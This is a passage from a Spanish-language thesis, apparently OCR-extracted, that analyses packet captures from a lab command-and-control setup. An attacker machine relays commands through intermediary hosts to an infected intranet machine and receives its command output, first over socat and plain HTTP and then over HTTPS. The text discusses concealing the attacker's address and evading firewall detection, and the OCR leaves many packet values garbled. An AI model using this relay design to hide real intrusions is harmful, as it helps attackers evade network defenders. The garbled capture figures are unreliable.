80 - 56466 [FIN, ACK] Seq=1274 Ack=242 Win=65624 Len=0 TSval=2944386671 TSecr=1318635606

56466 > 80 [ACK] Seq=242 Ack=1275 Win=64128 Len=e T5val-1313035607 TSecr=2944886071

88 + 35936 [FIN, ACK] Seq-1274 Ack-242 Win-65024 Len-@ TSval-1485823672 TSecr-1759767471

35936 » 88 [ACK] =1275 Win=64128 Len=8 TSval=1759767473 TSecr=1485423672

35938 » 80 [SYN] 4248 Len= MSS5=1456 SACK_PERM=1 TSval=1759769487 TSecr=0 WS=123

80 > 35938 [SYN, Ack=1 Win=65160 Len=@ M55=1468 SACK_PERM=1 TS5val-1485425686 TSecr=1759769487 Ws=128
35938 + 88 [ACK] Win-64256 Len-8 TSval-1759769487 TSecr-1465425686

35938 > 88 [PSH, Ack=1 Win=64256 Len=217 TSval=1759769488 TSecr=1485425686 [TCP segment of a reassembled PDU]
80 - 35838 [ACK] Seq=1 Ack=218 Win=65624 Len=0 TSval=1485435687 TSecr=1759769438

POST / HTTP/1.1 (application/x-www-form-urlenceded)

88 + 35938 [ACK] 99 Win-65024 Len-@ TSval-1485425688 TSecr-1759769488

56470 > 88 [SYN] 4248 Len=0 MSS=1468 SACK_PERM=1 TSval=1318837623 TSecr=8 WS=128

80 > 56470 [SYN, 6 Ack=1 Win=65166 Len=0 M55=1460 SACK PERM=1 TSval=2944388088 TSecr=1318637623 WS=123
56470 > 88 [ACK] Seq=1 Ack=1 Win=64256 Len=@ TSval-1318037624 TSecr=2944388058

POST / HTTP/1.1 (application/x-www-form-urlencoded)

88 > 56478 [ACK] Seq=1 Ack=389 Win=64836 Len=@ TSval=2944888089 TSecr=1318037624

HTTP/1.1 200 OK (text/html)

56470 > 88 [ACK] Seq=369 Ack=1297 Win=64128 Len=e T5val-1318037627 TSecr=2944855091

HTTP/1.1 20 0K (text/html)

35938 » 88 [ACK] Seq=369 Ack=1297 Win=6336@ Len=8 TSval=1759769493 TSecr=1485425692

35938 > 80 [FIN, ACK] Seq=389 Ack=1297 Win=64128 Len=6 TSval=1759769494 TSecr=1485425692

56470 > 80 [FIN, ACK] Seq=389 Ack=1297 Win=64128 Len=e TSval=1318037629 TSecr=2944835@91

88 + 56478 [FIN, ACK] Seq-1297 Ack-31@ Win-64896 Len-8 TSval-2944888894 TSecr-1318637629

56470 > 88 [ACK] Seq=318 Ack=1298 Win=64128 Len=B TSval-1318037638 TSecr=2044888094

88 - 35838 [FIN, ACK] Seq=1297 Ack=310 Win=65624 Len=0 TSval=1485425695 TSecr=1759769494

35938 > 80 [ACK] Seq=310 Ack=1298 Win=64128 Len=e T5val=1759769496 TSecr=1405425695

Who has 192.168.2.172 Tell 192.168.2.1

192.168.2.17 is at 88:00:27:72:20:17

Figura 4.10: Captura de trafico en la maquina inter-07 en un escenario de comunicacién con
un solo intermediario (1).

Aligual que en el anterior escenario, hay dos partes bien diferenciadas en la muestra de trafico
recogida. La primera, entre los paquetes 1 y 22, y la segunda, entre los paquetes 23 y 44.

4.2.1. Comunicacién para traducir nimero por comando.

Como en el Apartado [I.1.1] en esta primera parte intra-00 solicita un nimero de comandos
que kali-29 traducird a texto y mostrara en el servidor web.
La diferencia entre ambos escenarios residird en que, para este caso, la peticién pasard previa-
mente por la maquina intermedia inter-07 con IP 192.168.2.17.
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En dicha maquina se habilitara una comunicaciéon bidireccional por el puerto 80 mediante el uso
de la herramienta socat, tal y como se explica en el Apartado

En la Figura se pueden ver los 22 primeros paquetes a los que se hace referencia en este
apartado. Interesan los ntameros 6, 11, 13 y 15:

No. Time Source Destination Frotocol  Length Info

{3 1/0.000000600 1192.168.2.1 192.168.2.17 TCP 74 35936 > 88 [SYN] Seq=@ Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=1759767458 TSecr=0 WS=128
2 0.000159642 192.168.2.17 192.168.2.1 TCP 74 80 » 35936 [SYN, ACK] Seq=@ Ack=1 Win=6516@ Len=@ MSS=146@ SACK_PERM=1 TSval=1485423658 TSecr=1759767458 WS=128
3 0.000933219 192.168.2.1 192,168,237 Tcp 66 35936 » 80 [ACK] Seg=1 Ack=1 Win=64256 Len=0 TSval=1759767459 TSecr=1405423658
4 0.000933588 192.168.2.1 192.168.2.17 Tcp 283 35936 > 80 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=217 TSval=1759767459 TSecr=1405423658 [TCP segment of a reassembled PDU]
50.901115812 192.168.2.17 192.168.2.1 Tcp 66 80 > 35936 [ACK] Seg=1 Ack=218 Win=65024 Len=8 TSval=1405423659 TSecr=1759767459
6 0.001845364 192.168.2.1 192.168.2.17 HTTP 89 POST / HTTP/1.1 (application/x-www-form-urlencoded)
7 0.001857309 192.168.2.17 192.168.2.9, TP 66 80 > 35936 [ACK] Seg=1 Ack=241 Win=65024 Len=0 TSval=1405423660 TSecr=1759767459
H 8 0.002392590 192.168.2.17 192.168.1.39 Tcp 74 56466 > 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=1318035595 TSecr=0 WS=128
i 9 0.003452401 192.168.1.39 192.168.2.17 TCcp 74 80 > 56466 [SYN, ACK] Seq=0 Ack=1 Win=6516@ Len=@ MSS=1460 SACK_PERM=1 TSval=2944886061 TSecr=1318835595 WS=128
H 10 0.003542520  192.168.2.17 192.168.1.39 TCP 66 56466 » 8@ [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1318035596 TSecr=2944886061
: 11 0.003689142 192.168.2.17 192.168.1.39 HTTP 306 POST / HTTP/1.1 (application/x-www-form-urlencoded)
H 12 0.004189417 192.168.1.39 192.168.2.17 Tcp 66 80 > 56466 [ACK] Seq=1 Ack=241 Win=65024 Len=@ TSval=2944886061 TSecr=1318835597
i 13 0.011319071 192.168.1.39 192.168.2.17 HTTP 1339 HTTP/1.1 2008 OK (text/html)
H 14 0.011333976  192.168.2.17 192.168.1.39 TCP 66 56466 » 8@ [ACK] Seq=241 Ack=1274 Win=64128 Len=0 TSval=13180356@04 TSecr=2944836068
15 0.011429464  192.168.2.17 192.168.2.9, HTTP 1339 HTTP/1.1 200 OK (text/html)
16 0.012042169 192.168.2.1 192.168.2.17 Tcp 66 35936 > 80 [ACK] Seq=241 Ack=1274 Win=63360 Len=@ TSval=1759767470 TSecr=1405423669
17 ©.013225581 192.168.2.1 192.168.2.17 TCcp 66 35936 > 88 [FIN, ACK] Seg=241 Ack=1274 Win=64128 Len=0 TSval=1759767471 TSecr=1405423669
H 18 0.013330531  192.168.2.17 192.168.1.39 TCP 66 56466 » 8@ [FIN, ACK] Seq=241 Ack=1274 Win=64128 Len=0 TSval=1318035606 TSecr=2944886068
H 19 0.013938704  192.168.1.39 192,168,237 Tcp 66 80 > 56466 [FIN, ACK] Seq=1274 Ack=242 Win=65024 Len=0 TSval=2944886071 TSecr=1318035606
20 0.013961826 192.168.2.17 192.168.1.39 Tcp 66 56466 > 80 [ACK] Seq=242 Ack=1275 Win=64128 Len=0 TSval=1318035607 TSecr=29443886071
| 21 0.914062388 192.168.2.17 192.168.2.1 TCpP 66 80 > 35936 [FIN, ACK] Seq=1274 Ack=242 Win=65024 Len=0 TSval=1405423672 TSecr=1759767471
= 22 0.014507804  192.168.2.1 192.168.2.17 TCP 66 35936 » 8@ [ACK] Seq=242 Ack=1275 Win=64128 Len=@ TSval=1759767473 TSecr=1405423672

Figura 4.11: Captura de trafico en la maquina inter-07 en un escenario de comunicacién con
un solo intermediario (2).

Las tramas 6 y 11 capturan el trafico que sucede desde intra-00 hasta kali-29 solicitando
un comando.
Son dos, puesto que, la primera refleja la peticiéon desde la intranet a inter-07, y la segunda la
peticién desde inter-07 a kali-29. En ambas el contenido es el mismo:

v HTML Form URL Encoded: application/x-www-form-urlencoded
v Form item: "contenido" = "3"
Key: contenido
Value: 3
v Form item: "resultado" = "@"
Key: resultado
Value: @

Figura 4.12: Captura de trafico en la maquina inter-07 en un escenario de comunicacién con
un solo intermediario (3).

Como se puede observar en la Figura [£.11] al estar el trafico capturado desde la red interme-
dia, el origen de la trama proveniente de intra-00 es la direccion IP 192.168.2.1 (la puerta de
enlace de la red intermedia) en vez de la direccion IP 192.168.5.10.

Por otra parte, las tramas 13 y 15 son las pertenecientes a la respuesta de kali-29 con el
servidor web actualizado.
Al igual que sucedia en las tramas 6 y 11, la 13 va desde kali-29 hasta inter-07, y la 15 es la
redireccion desde inter-07 hacia intra-00.
En ambas el contenido es la respuesta, en cédigo HI'ML, del servidor web almacenado en kali-29.
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4.2.2. Comunicacién para enviar el resultado de la ejecucién del comando.

Al igual que sucedia en el Apartado en esta parte del trafico capturado tiene lugar
la comunicacién entre intra-00 y kali-29, en la que la primera ejecuta en local el comando
aportado por la segunda y envia el resultado a través de una peticion POST.

A continuacién, en la Figura se muestran los paquetes en los que se da esta parte de la
comunicacion: desde el 23 hasta el 44.
El estudio se centrara en las tramas 28, 33, 35 y 37:

No. Time Source Destination Protocol  Length Info
r 2312.628488005 1192.168.2.1 192.168.2.17 TCP 74 35938 » 80 [SYN] Seq=8 Win=64240 Len=8 MSS=1460 SACK_PERM=1 TSval=1759769487 TSecr=@ WS=128
24 2.028540711  192.168.2.17 192.168.2.1 TCP 7480 » 35938 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=1405425686 TSecr=1759769487 WS=128
25 2.029236162 192.168.2.1 192.168.2.17 TCP 66 35938 > 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0@ TSval=1759769487 TSecr=1405425686
26 2.029236371 192.168.2.1 192.168.2.17 TCcP 283 35938 » 8@ [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=217 TSval=1759769488 TSecr=1405425686 [TCP segment of a reassembled PDU]
27 2.029302990  192.168.2.17 192.168.2.1 TCcP 66 80 > 35938 [ACK] Seq=1 Ack=218 Win=65824 Len=8 TSval=1405425687 TSecr=1759769488
28 2.029776474  192.168.2.1 192.168.2.17 HTTP 157 POST / HTTP/1.1 (application/x-www-form-urlencoded)
29 2.029788975 192.168.2.17 192.168.2.1 TCcP 66 80 » 35938 [ACK] Seq=1 Ack=3@9 Win=65024 Len=0 TSval=1405425688 TSecr=1759769488
30 2.030160696  192.168.2.17 192.168.1.39 TCP 74 56470 > 80 [SYN] Seq=0 Win=64240 Len=@ MSS=1460 SACK_PERM=1 TSval=1318037623 TSecr=@ WS=128
31 2.030932262 192.168.1.39 192.168.2.17 TCP 74 80 > 56470 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0@ MSS=1460 SACK_PERM=1 TSval=2944888088 TSecr=1318037623 WS=128
32 2.031010596 192.168.2.17 192.168.1.39 TCcP 66 56470 > 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1318037624 TSecr=2944888088
33 2.031101528 192.168.2.17 192.168.1.39 HTTP 374 POST / HTTP/1.1 (application/x-www-form-urlencoded)
34 2.031676666  192.168.1.39 192.168.2.17 TCcP 66 80 > 56470 [ACK] Seg=1 Ack=369 Win=64896 Len=0 TSval=2944888889 TSecr=1318037624
35 2.033984997 192.168.1.39 192.168.2.17 HTTP 1362 HTTP/1.1 20@ OK (text/html)
36 2.034002649  192.168.2.17 192.168.1.39 TCP 66 56470 > 80 [ACK] Seq=309 Ack=1297 Win=64128 Len=0 TSval=1318037627 TSecr=2944888091
37 2.034086115 192.168.2.17 192.168.2.1 HTTP 1362 HTTP/1.1 200 OK (text/html)
38 2.034763517  192.168.2.1 192.168.2.17 TCP 66 35938 > 80 [ACK] Seq=309 Ack=1297 Win=63360 Len=0 TSval=1759769493 TSecr=1405425692
39 2.036219409  192.168.2.1 192.168.2.17 TCP 66 35938 » 80 [FIN, ACK] Seq=309 Ack=1297 Win=64128 Len=8 TSval=1759769494 TSecr=1405425692
40 2.836275589  192.168.2.17 192.168.1.39 TCP 66 56470 > 80 [FIN, ACK] Seq=3@9 Ack=1297 Win=64128 Len=0 TSval=1318037629 TSecr=2944888091
41 2.036820695 192.168.1.39 192.168.2.17 TCP 66 80 » 56470 [FIN, ACK] Seq=1297 Ack=310 Win=64896 Len=0 TSval=2944888094 TSecr=1318037629
42 2.836859470 192.168.2.17 192.168.1.39 TCcP 66 56470 > 80 [ACK] Seq=310 Ack=1298 Win=64128 Len=0 TSval=1318037630 TSecr=2944888094
43 2.836919378  192.168.2.17 192.168.2.1 TCcP 66 80 > 35938 [FIN, ACK] Seq=1297 Ack=318 Win=65024 Len=8 TSval=1405425695 TSecr=1759769494
= 44 2.837436612  192.168.2.1 192.168.2.17 TCP 66 35938 > 80 [ACK] Seq=310 Ack=1298 Win=64128 Len=0 TSval=1759769496 TSecr=1405425695

Figura 4.13: Captura de trafico en la méaquina inter-07 en un escenario de comunicacién con
un solo intermediario (4).

Las tramas 28 y 33 son las encargadas de enviar el resultado de la ejecucion del comando
desde intra-00 hasta inter-07, en el caso de la 28, y de redirigirlo desde la intermedia hasta
la méquina atacante, en el caso de la 33.

El contenido de la peticién en ambas es como el mostrado en la Figura

v HTML Form URL Encoded: application/x-www-form-urlencoded
v Form item: "contenido" = "3"
Key: contenido
Value: 3
Form item: "resultado" = "exploit.py exploit.py.save exploit.py.save.l exploit.py.save.2

Key: resultado
Value: exploit.py exploit.py.save exploit.py.save.l\texploit.py.save.2\n

Figura 4.14: Captura de trafico en la méquina inter-07 en un escenario de comunicacién con
un solo intermediario (5).

Los paquetes 35 y 37 se encargan de la respuesta del servidor web alojado en la méquina

kali-29 al envio del resultado. El 35 va destinado hacia inter-07, y el 37 desde inter-07 hasta
intra-00.
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4.2.3. Conclusiones

Gracias a la inclusiéon de una nueva maquina en el entorno (inter-07) se ha logrado ocultar
el destino real hacia el que se dirigen las peticiones. Es un buen avance, pero la comunicaciéon
aun sigue siendo insegura, pues tal y como se ha visto, el contenido de las peticiones POST sigue
siendo perfectamente visible.

Ademas, la habilitacién del modulo socat en la maquina intermedia no es del todo recomendable,
pues es facilmente detectable por cortafuegos avanzados, tal y como se expone en el Apartado
B.5.11

Por lo que se debe replantear esta tactica pese a su efectividad.

4.3. Analisis entre maquinas con varios intermediarios y HTTPS.

En el siguiente paso, tal y como se redacta en el Apartado se incluyen dos maquinas més
junto a la méaquina intermedia intra-07, lo que significard no utilizar socat en esta, desplegar
en ella un servidor web, y utilizar las dos nuevas méquinas en la red intermedia como reemisoras
de la comunicacion.

Ademas, se implementara HTTPS, que incluye el protocolo TLS encargado de cifrar la comuni-
cacion, en lugar del desfasado HTTP.

En este punto ya se habria llegado a la situacién de la red mostrada en la Figura [3.28

Es importante recordar que, llegados a esta fase, el proceso de paso de comando entre las dife-
rentes maquinas ha sido modificado tal y como se indica en el Apartado

De forma que, entre otras variaciones, es la maquina kali-29 quien envia un comando a ejecutar
a inter-07. Ademés, el proceso ahora es mas agil, pues sucede de forma completamente auto-
maética.

Para este caso se estudiara la perspectiva desde las tres méquinas, pues la comunicacién es mucho
més extensa y compleja al estar cifrada.

Antes de comenzar a analizar el trafico correspondiente a cada méquina, se estudiara el procedi-
miento que se utiliza en todas las comunicaciones TLS para dar a conocer las partes, y de esta
manera se conseguira distinguir a partir de qué momento se transmiten los datos.

4.3.1. TLS Handshake

Este procedimiento es el encargado de fijar el tipo de cifrado del trafico e intercambio de
claves entre equipos antes de que arranque el traspaso de datos.
Siempre sigue el mismo flujo, que es el que se expone a continuacién y en el diagrama inferior

(Figura 4. 15])) [70], [71]:

1. La méaquina que quiere establecer la comunicacién envia un paquete al receptor con el flag
SYN a 1. El receptor, si lo ha recibido, debe responder con un paquete del tipo SYN-ACK,
si no lo recibe no se recibira paquete de vuelta.

La mAquina emisora responderé, a su vez, con otro paquete ACK.

'En la Figura se indica en negrita las partes de la trama cuyo contenido es cifrado.
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2. El emisor comienza a introducir especificaciones necesarias para cifrar la conexion de datos
y asi hacerla mas segura. De manera que envia un paquete de tipo “Client Hello” donde
ofrece, entre otros: un conjunto de suites de cifrado, el ID de sesién y una clave aleatoria.

3. El receptor responde dos paquetes. El primero con contenido de tipo “Server Hello”, “Change
Cipher Spec” y “Application Data” en donde indica qué suite de cifrado se utilizara entre
las propuestas por la maquina emisor.

El segundo contendré 4 paquetes del tipo “Application Data” en donde se comenzarin a
enviar datos de aplicacion cifrados imposibles de descifrar.

4. Tras esto, el ultimo mensaje enviado hacia el servidor es de tipo “Change Cipher Spec”,
“Application Data”.

[SYN)

[SYN, ACK]

“'

Spac Application Data
pac,

o, Change Cipher

Sanver He

Application Data

i lication Data,
Application Data, Application Data, App!
C"‘E‘nqe i
9% Lipher Snee )
“. Application Data

Figura 4.15: Diagrama descriptivo de TLS Hanshake.

Para el entorno de laboratorio en el que se elabora la prueba, se puede observar este proce-
dimiento en el momento en que inter-07 establece contacto con la maquina “infectada” en la
intranet, que como se ha visto en el Apartado al ser ya automatico, tendré lugar varias veces
antes de que se reciba una respuesta que reenviar a kali-29.
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Los paquetes capturados que demuestran que se ha dado la conexién entre las partes, son los mos-
trados en la Figura [£.16] que son los mismos que se han expuesto al principio de este Apartado

en la Figura

54.297221497 192.168.2.1 192.168.2.17 TCP 66 35848 -» 443 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval-4066541809 TSecr=1082714754
6 4.306873156  192.168.2.1 192 1682 17 TLSv1.3 583 Client Hello
7 4.300922104  192.168.2.17 192.168.2.1 TCP 66 443 > 35848 [ACK] Segq=1 Ack=518 Win=64768 Len=0 TSval=1082714764 TSecr=4066541818
8 4.310672646  192.168.2.17 192.168.2.1 TLSv1.3 2431 Server Hello, Change Cipher Spec, Application Data, Application Data, Application Data, Application Data
94.311653026 192.168.2.1 192.168.2.17 TCP 66 35848 -» 443 [ACK] Seq=518 Ack=2366 Win=63616 Len=0 TSval=4066541823 TSecr=1082714768
10 4.312613626  192.168.2.1 192.168.2.17 TLSv1.3 146 Change Cipher Spec, Application Data

Figura 4.16: Captura de paquetes en la maquina intermedia inter-07 que demuestran Hanshake
con la maquina de la intranet intra-00.

4.3.2. Maquina atacante (kali-29)

En primer lugar, se analiza la comunicaciéon que tiene lugar entre kali-29 e inter-07. Como
se ha indicado, en este punto ya se han desplegado dos maquinas intermedias més en la red
intermedia, por lo que ni siquiera habré contacto directo entre inter-07 y kali-29.

No se ha introducido comunicacién cifrada entre la red atacante y la red intermedia, pues no
es necesario, ya que se trata de un trafico que el firewall que delimita la intranet con el resto
de redes no tendria acceso, por lo que seria imposible de rastrear como se verd en siguientes
apartados. Asi, se podré analizar dicho tréafico sin ningin tipo de obstaculo.

Primero, se muestra el generado por la peticién de un comando concreto por parte de kali-29

(Figura [4.17):

1 0.000000000 192.168.1.39 192.168.2.50 DNS 76 Standard query @x1a9%e A d2.rtmalvado.edu

2 0.000069741  192.168.1.39 192.168.2.50 DNS 76 Standard query ©@xaeb9 AAAA d2.rtmalvado.edu

3 0.801816751 192.168.2.50 192.168.1.39 DNS 92 Standard query response @xla9e A d2.rtmalvado.edu A 192.168.2.16

40.001817112 192.168.2.50 192.168.1.39 DNS 121 Standard query response @xaeb9 AAAA d2.rtmalvado.edu SOA nsl.rtmalvado.edu

7 ©.003096350  192.168.1.39 192.168.2.16 TCP 66 33614 > 81 [ACK] Seg=1 Ack=1 Win=64256 Len=0@ TSval=473956556 TSecr=3815145101

8 0.803196039 192.168.1.39 192.168.2.16 TCP 289 33614 » 81 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=223 TSval=473956557 TSecr=3815145181 [TCP segment of a reassembled PDU]
9 9.903260518 192.168.1.39 192.168.2.16 HTTP 73 POST / HTTP/1.1 (application/x-wwuw-form-urlencoded)

10 ©.003699830 192.168.2.16 192.168.1.39 TCP 66 81 » 33614 [ACK] Segq=1 Ack=224 Win=65624 Len=0 TSval=3815145102 TSecr=473956557

11 8.883738585 192.168.2.16 192.168.1.39 TCP 66 81 » 33614 [ACK] Seq=1 Ack=231 Win=65824 Len=0 TSval=3815145182 TSecr=473956557
12 0.013497590  192.168.2.16 192.168.1.39 HTTP 1347 HTTP/1.1 200 OK (text/html)

13 0.613514654  192.168.1.39 192.168.2.16 TCP 66 33614 » 81 [ACK] Seq=231 Ack=1282 Win=64128 Len=0 TSval=473956567 TSecr=3815145112
16 0.816425287 192.168.1.39 192.168.2.16 TCP 66 33614 > 81 [ACK] Seq=232 Ack=1283 Win=64128 Len=0 TSval=47395657@ TSecr=3815145115

Figura 4.17: Captura de paquetes entre kali-29 y una de las méquinas intermedias desde el
punto de vista de kali-29 (1).

Como se puede ver, al haberse incluido nombres de dominio para las peticiones, los primeros
paquetes se encargan de traducir el nombre de la maquina hacia la que va la peticién, a una IP
mediante el protocolo DNS.

Dicho nombre es d2.rtmalvado.edu (tal y como se indica en el script que lanza la peticion en
el Apartado que se traduce en la IP 192.168.2.16 (Figura :
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~ Domain MName System (response)
Transaction ID: @xla%e
Flags: 0x8580 Standard query response, Mo error
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
Queries
v Answers
v d2.rtmalvado.edu: type A, class IN, addr 192.168.2.16
Name: d2.rtmalvado.edu
Type: A (Host Address) (1)
Class: IN (@xeeal)
Time to live: 604800 (7 days)
Data length: 4
‘Address: 192.168.2.16

Request In: 1
[Time: 0.001816751 seconds]

Figura 4.18: Captura de paquetes entre kali-29 y una de las méquinas intermedias desde el
punto de vista de kali-29 (2).

En las siguientes tramas se puede ver como se sincroniza la méquina en la IP 192.168.2.16
(inter-06 en la red intermedia) con kali-29 que tiene la IP 192.168.1.39 (red atacante), y se
inicia una comunicacién en la que kali-29 envia el ntimero de comando del que quiere obtener
respuesta, como se puede ver en los detalles del noveno paquete (Figura :

Frame 9: 73 bytes on wire (584 bits), 73 bytes captured (584 bits) on interface eth@®, id @
Ethernet II, Src: PcsCompu_72:18:39 (©8:00:27:72:10:39), Dst: PcsCompu_72:10:01 (08:00:27:72:10:01)
Internet Protocol Version 4, Src: 192.168.1.39, Dst: 192.168.2.16
Transmission Control Protocol, Src Port: 33614, Dst Port: 81, Seq: 224, Ack: 1, Len: 7
[2 Reassembled TCP Segments (230 bytes): #8(223), #9(7)]
Hypertext Transfer Protocol
v HTML Form URL Encoded: application/x-www-form-urlencoded
v Form item: "envio" = "2"
Key: envio
Value: 2

Figura 4.19: Captura de paquetes entre kali-29 y una de las méquinas intermedias desde el
punto de vista de kali-29 (3).

Un par de tramas después, la maquina intermedia inter-06 confirma la recepcion de la pe-
ticién, devolviendo el contenido HTML de la méquina intermedia que tendra contacto con la

intranet (inter-07).

En segundo lugar, y por ultimo, se muestran las tramas ocasionadas por la comunicacion
que se genera por el recibimiento de la respuesta al comando solicitado, desde la maquina de la
intranet intra-00 (Figura [4.20)):
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1 0.000000000 PcsCompu_72:10:01 PcsCompu_72:16:39 ARP 6@ Who has 192.168.1.39? Tell 192.168.1.1

2 0.900072546 PcsCompu_72:10:39 PcsCompu_72:10:01 ARP 42 192.168.1.39 is at ©8:00:27:72:10:39

33.117136833 192.168.1.1 192.168.1.39 TCcP 74 49144 > 80 [SYN] Seq=0 Win=64240 Len=0 MSS=146@ SACK PERM=1 TSval=587822271 TSecr=0 WS=128
4 3.117285920  192.168.1.39 192.168.1.1 TCP 74 890 > 49144 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MS5=146@ SACK_PERM=1 TSval=1177985163 TSecr=587822271 WS=128
53.118e687e8 192.168.1.1 192.168.1.39 TCcP 66 49144 > 80 [ACK] Seg=1 Ack=1 Win=64256 Len=0 TSval=587822272 TSecr=1177985163

6 3.118100405 192.168.1.1 192.168.1.39 HTTP 1210 POST / HTTP/1.1 (application/x-www-form-urlencoded)

7 3.118191729 192.168.1.39 192.168.1.1 TCcP 66 80 + 49144 [ACK] Seq=1 Ack=1145 Win=64128 Len=6 TSval=1177985164 TSecr=587822272

8 3.124232280  192.168.1.39 192.168.1.1 HTTP 1546 HTTP/1.1 200 OK (text/html)

9 3.124913736 192.168.1.1 192.168.1.39 TCcP 66 49144 > 80 [ACK] Seq=1145 Ack=1481 Win=64128 Len=0 TSval=587822279 TSecr=1177985170

10 3.127082504 192.168.1.1 192.168.1.39 TCP 66 49144 > 80 [FIN, ACK] Seq=1145 Ack=1481 Win=64128 Len=0@ TSval=587822281 TSecr=1177985170
11 3.127176396 192.168.1.39 192.168.1.1 TCcP 66 80 » 49144 [FIN, ACK] Seq=1481 Ack=1146 Win=64128 Len=0 TSval=1177985173 TSecr=587822281
12 3.127776258 192.168.1.1 192.168.1.39 TCP 66 49144 > 80 [ACK] Seq=1146 Ack=1482 Win=64128 Len=0 TSval=587822282 TSecr=1177985173

13 4.523326707 fe80::a00:27ff:fe72.. f02::2 TICMPV6 62 Router Solicitation

Figura 4.20: Captura de paquetes entre kali-29 y una de las méquinas intermedias desde el
punto de vista de kali-29 (4).

Como se puede ver en la imagen superior, el mensaje viene ahora desde la puerta de enlace
de la red atacante, pues es un mensaje recibido desde la red intermedia, de manera que la IP
192.168.1.1 actuard como nexo entre ambas maquinas.

De esta manera se puede ver como en este caso no son necesarios los paquetes DNS, como si
sucedia en la anterior peticion.

Las tramas que si interesan seran la sexta y la octava, sobre todo la sexta, pues es en la que la
puerta de enlace transmite a kali-29 la respuesta a la ejecucion del comando solicitado.

Al trabajar mediante protocolo HTTP el contenido no estéa cifrado, por lo que se puede ver
perfectamente el mismo (Figura :

Frame 6: 1210 bytes on wire (9680 bits), 1210 bytes captured (968@ bits) on interface eth®, id @

Ethernet II, Src: PcsCompu_72:10:01 (08:00:27:72:10:01), Dst: PcsCompu_72:10:39 (©8:00:27:72:10:39)

Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.39

Transmission Control Protocol, Src Port: 49144, Dst Port: 80, Seq: 1, Ack: 1, Len: 1144

Hypertext Transfer Protocol

~ HTML Form URL Encoded: application/x-www-form-urlencoded

v Form item: "resultado" = "total+28%0Adrwxr-xr-x++2+usuario+usuario++180+ago+16+21%3A03+. %OAdruxr-xr-x+16+usuario+usuario++
Key: resultado
Value [truncated]: total+28%@Adrwxr-xr-x++2+usuario+usuario++180+ago+16+21%3A03+. %PAdrwxr-xr-x+1l6+usuario+usuario++330+

Figura 4.21: Captura de paquetes entre kali-29 y una de las méquinas intermedias desde el
punto de vista de kali-29 (5).

Como se aprecia en la Figura anterior, kali-29 recibe el contenido truncado completo de la
ejecucion del comando 1s -1.

4.3.3. Maquina intermedia (inter-07)

Una vez visto como la maquina kali-29 es capaz de realizar la comunicacion exitosamente, sin
ni siquiera contactar con la maquina intermedia que hara de nexo con la red victima (inter-07),
se analizara el trafico que sucede desde dicha maquina para comprobar que es indetectable para
cualquier rastreador.

Como ya se ha indicado en el Apartado [3.5] se introduce el protocolo HTTPS en el servidor web
desplegado en inter-07, de manera que toda comunicaciéon web que se dirija hacia ella lo haréa
cifrada. Es por eso que, al analizar el trafico, no se va a poder ver el contenido de las tramas.

Otro aspecto a tener en cuenta del trafico capturado es que, tal y como se muestra en el Aparta-
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| inter-07 recibiréd peticiones de intra-00 separadas entre ellas en un rango de 1 a 10
segundos.

La muestra que se ha tomado contiene 35 segundos en los cuales se han realizado 4 peticiones
distintas antes de que inter-07 muestre el nimero de comando que intra-00 traducird y eje-
cutara en local.

En la captura inferior se puede ver, mediante los Handshakes realizados entre las dos maquinas
en el periodo de captura del trafico, la cantidad de peticiones que se realizan durante el mismo

(Figura [4.22)):

6 4.306873156 192.168.2.1 192.168.2.17 TLSv1.3 583 Client Hello

8 4.3108672646  192.168.2.17 192.168.2.1 TLSv1.3 2431 Server Hello, Change Cipher Spec, Application Data, Application Data, Application Data, Application Data
40 14.347588309 192.168.2.1 192.168.2.17 TLSv1.3 583 Client Hello
42 14.351833060 192.168.2.17 192.168.2.1 TLSv1.3 2431 Server Hello, Change Cipher Spec, Application Data, Application Data, Application Data, Application Data
76 19.382557495 192.168.2.1 192.168.2.17 TLSv1.3 583 Client Hello

78 19.386922678 192.168.2.17 192.168.2.1 TLSv1.3 2431 Server Hello, Change Cipher Spec, Application Data, Application Data, Application Data, Application Data
98 15.437970560 192.168.2.1 192.168.2.17 TLSv1.3 583 Client Hello
100 19.441840046 192.168.2.17 192.168.2.1 TLSv1.3 2431 Server Hello, Change Cipher Spec, Application Data, Application Data, Application Data, Application Data

Figura 4.22: Handshakes entre inter-07 e intra-00.

En cada una de las peticiones se repiten siempre el mismo flujo de tramas, de las cuales se
reconocen las 8 primeras tras haberlas estudiado ya en el Apartado son las encargadas del
TLS Handshake.

Las siguientes tramas son del tipo “Application Data” (datos de aplicacion), las cuales no se puede
interpretar su contenido al estar cifrado, pero si se puede intuir que son tramas de tipo POST
desde intra-00 hacia el servidor web alojado en inter-07, solicitando el nimero de comando
a ejecutar en local, tal y como se puede analizar leyendo el script que se ejecuta en la misma

(Apartado [3.6.3)).

A continuacion (Figura [4.23)) se muestra el contenido descrito anteriormente, capturado:

5 4.297221497  192.168.2.1 192.168.2.17 TCcP 66 35848 > 443 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=4066541809 TSecr=1082714754

6 4.306873156 192.168.2.1 192.168.2.17 TLSv1.3 583 Client Hello

7 4.306922104  192.168.2.17 192.168.2.1 TCcP 66 443 > 35848 [ACK] Seq=1 Ack=518 Win=64768 Len=0 TSval=1082714764 TSecr=4866541818

8 4.310672646  192.168.2.17 192.168.2.1 TLSv1.3 2431 Server Hello, Change Cipher Spec, Application Data, Application Data, Application Data, Application Data
9 4.311653026 192.168.2.1 192.168.2.17 TCP 66 35848 > 443 [ACK] Seq=518 Ack=2366 Win=63616 Len=0 TSval-4066541823 TSecr=1082714768
10 4.312613026  192.168.2.1 192.168.2.17 TLSv1.3 146 Change Cipher Spec, Application Data

